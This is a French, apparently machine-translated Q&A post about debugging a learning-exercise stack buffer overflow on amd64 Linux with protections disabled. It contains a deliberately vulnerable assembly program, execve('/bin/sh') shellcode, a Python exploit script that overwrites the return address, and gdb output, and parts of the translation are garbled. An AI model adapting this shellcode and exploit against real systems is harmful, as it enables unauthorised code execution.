J'ai joué avec des débordements de buffer sous Linux (amd64) et essayé d'exploiter un programme simple, mais il a échoué. J'ai désactivé les fonctions de sécurité (randomisation de disposition d'espace d'adressage avec sysctl -w kernel.randomize_va_space = 0 et bit nx dans le BIOS). Il saute à la pile et exécute le shellcode, mais il ne démarre pas un shell. L'execve syscall réussit mais après, il se termine juste. Une idée de ce qui ne va pas? Exécuter le shellcode autonome fonctionne très bien. Question de bonus: Pourquoi ai-je besoin de mettre zéro à zéro avant d'appeler printf? (Voir le commentaire dans le code)Shellcode pour un débordement de pile simple: Le programme exploité avec shell se termine directement après execve ("/ bin/sh")
fichier vulnérable buffer.s:
.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
push %rbp
mov %rsp, %rbp
sub $120, %rsp
# calling printf without setting rax
# to zero results in a segfault. why?
xor %rax, %rax
mov %rsp, %rsi
mov $.fmtsp, %rdi
call printf
mov %rsp, %rdi
call gets
xor %rax, %rax
mov $.fmtjump, %rdi
mov 8(%rbp), %rsi
call printf
xor %rax, %rax
leave
ret
shellcode.s
.text
.global main
main:
mov $0x68732f6e69622fff, %rbx
shr $0x8, %rbx
push %rbx
mov %rsp, %rdi
xor %rsi, %rsi
xor %rdx, %rdx
xor %rax, %rax
add $0x3b, %rax
syscall
exploit.py
shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output
Compilé avec:
$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s
démarré avec:
$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328
Debugging avec gdb:
$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash
Program exited normally.
Je suppose que% rsi% est argv. Peut-il être NULL? –
L'exécution du shellcode directement ("$ ./shellcode") fonctionne donc je suppose qu'il ne devrait pas y avoir de problème. L'équivalent C #include void principal() {execve ("/ bin/sh", NULL, NULL); } démarre également un shell. –
henning
Quelle est l'erreur que vous obtenez? Étiez-vous capable de comprendre cela (je suppose que c'est% rax%)? –